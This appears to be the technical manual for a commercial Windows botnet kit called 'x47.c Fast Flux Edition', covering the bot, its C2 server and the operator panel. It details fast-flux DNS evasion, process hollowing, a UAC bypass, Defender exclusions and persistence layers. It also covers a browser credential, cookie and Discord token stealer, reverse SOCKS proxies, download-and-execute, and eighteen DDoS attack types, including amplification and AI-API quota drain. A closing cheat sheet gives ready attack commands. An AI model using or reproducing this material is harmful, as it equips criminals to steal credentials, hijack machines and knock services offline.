================================================================================ x47.c FAST FLUX EDITION v4.1 FULL TECHNICAL REPORT ================================================================================ Document version : 1.1 Edition : Fast Flux v4.1 Ship folder : x47.c_FF_v4.1\ Related docs : SETUP_GUIDE.txt, UBUNTU_SETUP.txt, README.txt, SALES*.txt This report describes the Fast Flux system end to end: architecture, DNS rotation, bot lifecycle, operator commands, DDoS attack types, stealer, SOCKS reverse tunneling, C2 APIs, build-time options, and the C2GUI panel. -------------------------------------------------------------------------------- 1. PRODUCT OVERVIEW -------------------------------------------------------------------------------- x47.c Fast Flux Edition is a Windows bot + Ubuntu Node C2 + operator panel stack. Resilience comes from multi-domain Fast Flux DNS (3-10 domains, multi-A records, short TTL) plus an optional IP hint pool from the C2. Ship package contents: C2GUI\ Operator panel - single-file exe (secure WebSocket to C2) Builds\ Per-build outputs (bot, patched server, IOCs, deploy) UbuntuDeploy\ Template + setup helpers (use the Builds\… server after build) lab_cleanup.bat Lab persistence cleaner lab_sweep.ps1 Version markers (bot, C2, and panel all report): version 4.1 edition fastflux -------------------------------------------------------------------------------- 2. ARCHITECTURE -------------------------------------------------------------------------------- 2.1 High-level data path DNS (3-10 domains <- A <- VPS IP(s), short TTL) | v +----------------+ HTTPS check-in (/ or /gate) +---------------------+ | Windows bot | -----------------------------> | Ubuntu Node C2 | | (EXE or DLL) | <--- queued commands --------- | server_master.js | | | + flux_ips hints | PORT (default 443) | | | | RELAY 8445 | | SOCKS5 listen | TCP reverse SOCKS | entry ports | | + reverse | -----------------------------> | 10001-20000 | +----------------+ +----------+----------+ | WSS/TLS | v +---------------------+ | C2GUI (operator PC) | | Host = VPS IP OR | | any flux domain | +---------------------+ 2.2 Roles Bot - Windows PE (EXE with process hollowing available, or DLL via rundll32). - Polls C2 over HTTPS (TLS 1.2+; self-signed / mismatched certs accepted for C2 and downloads). - Resolves flux domains, connects by IP, presents the domain as Host/SNI. - Prefers a sticky last-good IP after a successful check-in. - Reports bot ID, version 4.1, edition fastflux, optional sticky flux host/IP, and optional local SOCKS credentials. C2 (Node) - Single process: HTTPS (or plain HTTP if certs are missing) + WebSocket on the same port; SOCKS reverse listener on 8445. - Auth key must match bot posts and the GUI token. - Queues commands per bot; returns them on register / ping / heartbeat. - Publishes flux status (domains, IP pool, per-bot sticky) to the GUI. - Refuses to start if still carrying unpatched placeholders (lab override exists for developers only). C2GUI - Connects with WSS (TLS checkbox; self-signed C2 certs accepted). - Needs only one reachable host - VPS public IP or any flux domain that points at that VPS. The full domain list is for bots, not the panel. - Auth is taken from that build's build_iocs.txt. 2.3 Ports Port Purpose ----------- -------------------------------------------------------------- 443 Default bot HTTPS + C2GUI WSS (set at build time) 8443 Common when Node listens without a reverse proxy 8445 SOCKS reverse relay (fixed) 10001-20000 Per-bot SOCKS entry ports after reverse handshake 2.4 Auth model - Each build generates (or accepts) one auth key. - Key is written into the bot binary and into server_master.js. - Every bot check-in includes the auth key. - The GUI sends the same key when connecting. - Mismatch <- bots and GUI are rejected. 2.5 Poll cadence and liveness Bot - Successful loop about every 10 seconds; failures back off toward ~60s. C2 <- bot response - Suggested interval 15s, queued commands, flux_ips hints. Bot states on C2 - online <- offline after ~5 minutes without check-in - dead after ~30 minutes -------------------------------------------------------------------------------- 3. FAST FLUX -------------------------------------------------------------------------------- 3.1 What Fast Flux means here Operators point 3-10 hostnames at the C2 VPS (or a CDN/front that still reaches the VPS for HTTPS). For SOCKS reverse, traffic should usually hit the VPS IP directly on port 8445. The bot rotates among those domains and among all A records returned by DNS. The C2 may also push hint IPs (flux_ips) so bots can try known-good addresses without re-resolving every time. One VPS is enough for a complete lab or production setup. All flux domains simply share that same destination IP (or controlled front). 3.2 Domain table (build-time) - Up to 10 domain slots are patched into each bot. - Domain count is set to 3-10 for that build (minimum 3). - If auth is still a placeholder or fewer than 3 live domains are present, the bot will not check in. 3.3 Endpoint refresh About every 90 seconds the bot rebuilds its try-list: 1. Sticky last-good IP first (if any) 2. Shuffle domain order 3. Resolve each domain's A records <- (IP, hostname) pairs 4. Shuffle remaining endpoints 5. Append C2-provided flux_ips hints Up to ~48 endpoints can be cached. 3.4 Sticky host / IP After a working C2 post, the bot remembers sticky IP + host. Check-in data can include those values so the Fast Flux GUI tab shows which endpoint each bot prefers. 3.5 SOCKS reverse and flux The reverse tunnel prefers the sticky C2 IP on port 8445. It avoids picking a random flux A record that might not host the relay. Fallback is DNS for the active host. 3.6 Operator view (C2GUI Fast Flux tab) - Configured flux domains from the server - Current flux_ips pool - Per-online-bot sticky host/IP - Refresh control -------------------------------------------------------------------------------- 4. BOT LIFECYCLE -------------------------------------------------------------------------------- Startup sequence (modules enabled at build time): 1. Detect whether already running inside a hollowed host process. 2. If not elevated and Silent UAC is enabled: attempt silent elevation, wait briefly for an elevated sibling instance. FAIL-OPEN: if none appears, continue at medium integrity (still beacons). 3. If admin: optional Defender / rootkit exclusions for the install image. Skipped when already on a hollow host path (never exclude system hosts). 4. Single-instance mutex (randomized IOC name) before persistence repair. 5. If Persistence is enabled: install / repair layers (may spawn the install copy and exit the dropper). 6. If Stealth is enabled: anti-debug / sandbox oriented checks. 7. EXE only: process hollowing into a same-architecture benign host. On 64-bit Windows the x86 bot targets SysWOW64 hosts. Success requires the hollow child to stay alive after resume. FAIL-OPEN: if hollowing fails, keep running in-process so C2 continues. DLL builds skip hollowing (rundll32 entry). 8. Optional firewall allow-rule for the app when elevated (waits for netsh). 9. If DDoS is enabled: initialize the attack engine. 10. SOCKS auto-start if that module is enabled (bind policy in §5.1). 11. Main loop: C2 poll, optional AI stealth ticks, optional periodic stealer. Install location (typical): %APPDATA%\Microsoft\Windows\.exe|.dll Bitness: Single x86 bot. On WoW64, hollows SysWOW64 hosts; on native x86 uses System32 hosts. DLL is launched with a bitness-matched rundll32 …,Start. -------------------------------------------------------------------------------- 5. FEATURE MODULES (build-time options) -------------------------------------------------------------------------------- Each build carries a feature mask for: SOCKS, Rootkit, Stealth, Persistence, Silent UAC, Defender exclusion, AI Stealth, Stealer, DDoS. 5.1 SOCKS5 Proxy & Reverse Tunnel Local SOCKS5 listener: - Admin (with firewall path): public bind - Non-admin: loopback only - avoids a Windows Firewall popup; reverse tunnel still exposes the bot through the C2 Reverse tunnel: - TCP connect to C2 port 8445 - Handshake: REVERSE_PROXY|| - Server allocates an entry port (10001-20000), acknowledges, then pipes - Operator uses user:pass@PUBLIC_HOST:entryPort (C2GUI export) Commands: socks_on / socks_off (see §6) Credentials: patched SOCKS user:pass (auto or exact rebuild) 5.2 Rootkit / Defender exclusions When elevated and not on a hollow host: - Path/process exclusions for the install image Purpose: reduce AV friction on the persistence path. 5.3 Stealth Anti-debug / sandbox oriented checks. Aggressive hide-window behavior is kept conservative for stability on modern Windows. 5.4 Silent UAC Bypass + Defender Exclusion Attempts silent elevation, then waits for an elevated sibling. FAIL-OPEN: if elevation does not complete, continue medium integrity so the bot still reaches C2. 5.5 Enhanced Persistence Multi-layer, IOC-randomized names: - Copy into %APPDATA%\Microsoft\Windows\ - HKCU Run / RunOnce values pointing at stealth .bat wrappers - Startup folder .bat - Scheduled tasks (on logon / on start) - WMI event filter/consumer when available - Windows service (EXE builds; not DLL) Stealth .bat behavior: Wrappers check that the image exists before launch and start quietly so Explorer does not show "Windows cannot find …" if the file was removed. 5.6 Windows Defender Exclusion (process + path) Separate from Rootkit; adds exclusions for the bot image/process when elevated and safe to do so. 5.7 AI Stealth Monitor (Grok / xAI) When enabled, a Grok/xAI API key is patched into the bot. Periodically the bot asks the model for remediation guidance and posts stealth status/events to C2 <- GUI Stealth tab. If the model call fails, local fallback remediation may still run. 5.8 Data Stealer Trigger: steal_all, plus optional periodic run (~every 6 hours) when enabled. Harvested (Chromium family): - Google Chrome, Microsoft Edge, Brave, Opera Stable - Saved passwords (DPAPI / AES-GCM decrypt) - Cookies - Discord tokens from local app data Output: - JSON result posted to C2 as steal_result - Server stores files under stealer_logs/ - C2GUI Stealer Logs tab (inline if small; otherwise fetch on demand) 5.9 DDoS Module See §7 for every attack type. Up to 16 worker threads; default duration 30 seconds if omitted. Clean stop/restart via generation control. 5.10 Botkiller botkiller_scan / botkiller_clean - scan for rival malware and optionally remove detections. Text results return to the console. 5.11 Process hollowing EXE builds only: run inside a same-architecture benign host process. Requires the child to stay alive after resume; otherwise fail-open in-process. 5.12 IOC randomization Per-build randomized names: mutex, install file, Run value, task names, service name, startup bat, firewall rule names, WMI names. Listed in build_iocs.txt for lab cleanup. 5.13 Firewall When elevated: allow-rule for the app; wait for netsh before listening. When not admin: SOCKS binds loopback only; reverse tunnel still works. -------------------------------------------------------------------------------- 6. OPERATOR COMMAND REFERENCE -------------------------------------------------------------------------------- Enter commands in the C2GUI console (selected bot, multi-select, or broadcast). The same commands are accepted over the operator WebSocket and HTTP APIs. The server normalizes aliases, handles help locally, and queues everything else for the bot. 6.1 Aliases Operator text Becomes --------------------------- ------------------------- socks5 on / socks on / socks5_on socks_on socks5 off / socks off / socks5_off socks_off uninstall all / uninstall_all uninstall all bots (broadcast) dl/exec … dl/exc … updater … update … 6.2 Commands ---------------------------------------------------------------------- COMMAND ACTION ---------------------------------------------------------------------- dl/exc dl/exec download_execute Download a file to a temp path and run it hidden. update Smart updater: download and replace the install image. If the file is locked, launch a temp / .new copy and exit so the new binary takes over. uninstall Remove persistence, firewall rules, and Defender exclusions where possible; self-delete; exit. uninstall all Broadcast uninstall to all online bots. botkiller_scan Scan for rival malware; return a text report. botkiller_clean Attempt removal of detections; return a report. socks_on Start SOCKS5 (+ reverse tunnel) if built in. socks_off Stop SOCKS5. steal_all Run the data stealer if built in. ddos [duration] [threads=N] [rate=N] [psize=N] [port=N] [apikey=…] [model=…] [reflector=IP] [duration=N] Start an attack (see §7). ddos stop ddos off Stop the running attack on that bot. help Show server help (no bot round-trip). refresh C2GUI only: refresh bots + Fast Flux view. ---------------------------------------------------------------------- 6.3 Structured command forms (queued by C2) Operators usually type free text. Internally the C2 may also queue structured objects with the same meanings, for example: download_execute + url update + update_url uninstall botkiller_scan / botkiller_clean socks_on / socks_off steal_all ddos / ddos_start / ddos_stop execute / command (free-text payload) 6.4 Unknown commands The bot replies with an "unknown" command result. -------------------------------------------------------------------------------- 7. DDoS ATTACK TYPES -------------------------------------------------------------------------------- Syntax (console or DDoS tab <- Launch): ddos [duration] [threads=N] [rate=N] [psize=N] [port=N] [apikey=…] [model=…] [reflector=IP] ddos stop Defaults: duration 30s, threads 1 (capped at 16). The C2GUI DDoS tab builds the same command line. TYPE ALIASES MECHANISM (summary) -------------- ---------- -------------------------------------------------- http_flood http HTTPS/HTTP GET flood with rotating User-Agent / Referer; optional rate limit. http_raw raw Raw TCP HTTP/1.1 GET with X-Forwarded-For style headers; keep-alive style requests. http_rand - Randomized path/header HTTP over raw TCP. cloudflare cf HTTPS GET flood aimed at Cloudflare-fronted targets. uam_bypass - HTTPS challenge-path style requests (UAM-oriented). slowloris - Many slow/partial HTTP connections to exhaust server workers. tcp_flood tcp TCP connect / write flood against host:port. udp_flood udp UDP datagram flood; psize sets payload size. syn_flood syn SYN flood when admin + raw sockets are available; otherwise falls back to TCP connect flood. ai_drain - Repeated calls to an AI API to burn quota/cost. Extra fields: apikey=… model=… Example: ddos ai_drain api.openai.com duration=120 apikey=sk-... model=gpt-4 stress - Sustained multi-pattern load worker. tls - TLS handshake / HTTPS connection thrash. socket - Generic socket connect/send loop. dns - DNS query flood against a resolver/host. gre - GRE-oriented packet generation (raw when allowed). ntp - NTP amplification-style queries; use reflector= when applicable. ssdp - SSDP discovery / amplification-oriented UDP. memcached - Memcached stats amplification via reflector (UDP/11211); spoof path when raw sockets work. Notes: - Amplification types (ntp / ssdp / memcached / gre) work best when the bot is elevated with raw sockets. Without that, behavior degrades. - Only one attack runs at a time per bot; ddos stop ends workers cleanly. - If DDoS was not enabled in the build, the bot reports the module disabled. -------------------------------------------------------------------------------- 8. C2 SERVER API -------------------------------------------------------------------------------- 8.1 Bot-facing HTTP POST / or POST /gate Body types: register Full check-in; returns commands + flux_ips ping / heartbeat / update Liveness; drains command queue command_result Result (command, message, success, bot_id) bot_status Status push when used POST /poll Legacy poll POST /register Legacy register GET / Always 404 (no public banner) /updates/ Optional static files for updater URLs Register fields include: bot_id, auth, version 4.1, edition fastflux, OS info, optional flux_ip / flux_host, optional proxy {port,user,pass} Response includes: status, commands[], interval, flux_ips[] 8.2 Operator HTTP (auth required) GET /bots GET /bot/:id POST /bot/:id/command POST /broadcast GET /statistics GET /proxies/export user:pass@host:port lines GET /api/stealer_log/:file GET /hud?auth= Small HTML status card 8.3 WebSocket - GUI <- server gui_connect {auth} get_bots get_stats get_flux_status get_bot {bot_id} get_stealer_log {filename} set_bot_meta {bot_id, note, tags} socks_test {bot_id} command {bot_id, command} broadcast_command {command} 8.4 WebSocket - server <- GUI gui_connected server version, edition, relay port, public host, flux bot_list, statistics, flux_status, bot_detail bot_joined, bot_updated, bot_disconnected, bot_offline, bot_dead command_sent, command_result, broadcast_sent, broadcast_result stealer_data, stealer_log, stealth_event socks_test_result, stats_updated gui_disconnected, error, ping/pong 8.5 Stealer pipeline on server - On steal_result: write stealer_logs/… - Small payloads are pushed live to the GUI - Large payloads: metadata first; GUI fetches the full JSON on demand 8.6 SOCKS reverse on server Listener on 8445. Handshake: REVERSE_PROXY|| Allocates entry port; notifies GUI; pipes SOCKS5 end-to-end. PUBLIC_HOST controls the host string shown in exports (usually VPS IP). 8.7 Node CLI (on the VPS console) status | bots | proxies | gui | clear | help | quit -------------------------------------------------------------------------------- 9. C2GUI - FEATURE SURFACE -------------------------------------------------------------------------------- Window title: x47 Fast Flux C2GUI v4.1 9.1 Connection bar Server VPS public IP or any flux domain Port Same HTTPS port as the build (443 / 8443 / ...) Auth From build_iocs.txt TLS (wss) ON for HTTPS C2 Auto-reconnect Backs off when not manually disconnected Remember auth Stored securely on the operator machine 9.2 Tabs Bots Columns: OS, Country, ID, Ver, IP, Proxy, Status, Queue, Last Seen Search filter; status filter All / online / offline Multi-select (Ctrl/Shift); Broadcast mode Console + Help + Clear; command line Bot Details Version, edition (fastflux), notes/tags, history; save meta Fast Flux Domains, flux_ips pool, per-bot sticky host/IP; Refresh SOCKS5 Proxies Reverse-entry proxy fleet; Export; Test Selected Stealer Logs Stored log rows; double-click for Structured/Raw JSON Request Steal All; export/clear helpers Stealth AI stealth event stream; clear DDoS All 18 types, target, duration, threads, rate AI drain key/model fields when type is ai_drain Launch / Stop for selection or broadcast 9.3 Console Help Lists download/execute, update, uninstall, botkiller, SOCKS, stealer, DDoS syntax, Fast Flux tips, and refresh. -------------------------------------------------------------------------------- 10. BUILD OUTPUT / PATCHED ARTIFACTS -------------------------------------------------------------------------------- Each build writes: Bot binary - Auth key - Up to 10 flux domains + domain count - HTTPS port - SOCKS credentials (when SOCKS is enabled) - Feature mask - Stealer enable flag - Grok API key (if AI Stealth) - IOC name blob - Output format: EXE only | DLL only | Both server_master.js - Auth key - SOCKS user / pass - FLUX_DOMAINS list - SOCKS relay can be disabled if the SOCKS module is off Build output folder: x47.c_FF_v4.1\Builds\_\ Typical contents: x47_bot.exe / x47_bot.dll server_master.js (and server.js twin) build_profile.json build_iocs.txt <- auth, SOCKS, IOC names for C2GUI + cleanup deploy helpers / Ubuntu setup notes lab cleanup references Always deploy the patched server from this folder - not the unpatched UbuntuDeploy template - in production. -------------------------------------------------------------------------------- 11. FAIL-OPEN / FAIL-CLOSED / STEALTH BEHAVIORS -------------------------------------------------------------------------------- FAIL-OPEN (keep running / keep C2): - UAC: continue medium integrity if an elevated sibling never appears - Hollowing: stay in-process if the hollow child does not stay alive - Update: launch temp / .new if in-place replace fails, then exit FAIL-CLOSED (refuse to run / refuse to start): - Bot: unpatched auth or fewer than 3 live flux domains - Server: unpatched placeholders (unless a lab override is set) STEALTH / UX: - Persistence bats: exist-check + quiet launch (no missing-file dialogs) - Firewall: wait on netsh when elevated; loopback SOCKS when not admin - Defender / rootkit: never exclude hollow host system paths - TLS: bot accepts bad C2/download certs; GUI accepts self-signed C2 - Check-in backoff on failure streaks - Resilience path is multi-domain DNS + flux_ips hints -------------------------------------------------------------------------------- 12. DEPLOYMENT SUMMARY -------------------------------------------------------------------------------- 1. DNS: point every flux domain A record at the VPS (short TTL). 2. Obtain a build (domains, port, modules, auth) and its Builds\… folder. 3. Copy Builds\…\server_master.js to the VPS; run setup / systemd. Open the HTTPS port and 8445 (and the entry range if firewalled tightly). 4. C2GUI: Host = VPS IP (or any flux domain), Port = HTTPS port, TLS ON, Auth from build_iocs.txt <- Connect. 5. Run the bot on a lab Windows host <- appears in Bots, version 4.1. 6. Use Fast Flux tab for domains/sticky; SOCKS tab for reverse proxies; console / DDoS / Stealer as needed. 7. Lab cleanup: lab_cleanup.bat / lab_sweep.ps1 with names from build_iocs.txt. Step-by-step: SETUP_GUIDE.txt Short VPS checklist: UbuntuDeploy\UBUNTU_SETUP.txt (and the per-build copy) -------------------------------------------------------------------------------- 13. QUICK COMMAND CHEAT SHEET -------------------------------------------------------------------------------- dl/exc https://example.com/payload.exe update https://c2.example/updates/bot.exe uninstall uninstall all botkiller_scan botkiller_clean socks_on socks_off steal_all ddos http_flood https://target.example 60 threads=4 rate=20 ddos tcp_flood 203.0.113.9:80 120 threads=8 ddos udp_flood 203.0.113.9 port=53 psize=512 60 ddos syn_flood 203.0.113.9:443 60 threads=4 ddos cloudflare https://site.example/ 90 ddos slowloris https://site.example/ 300 threads=8 ddos ai_drain api.openai.com duration=120 apikey=KEY model=gpt-4 ddos dns 203.0.113.9 60 ddos ntp 203.0.113.9 reflector=198.51.100.2 60 ddos memcached 203.0.113.9 reflector=198.51.100.3 60 ddos stop help refresh (GUI only) ================================================================================ END OF TECHNICAL REPORT - x47.c Fast Flux Edition v4.1 ================================================================================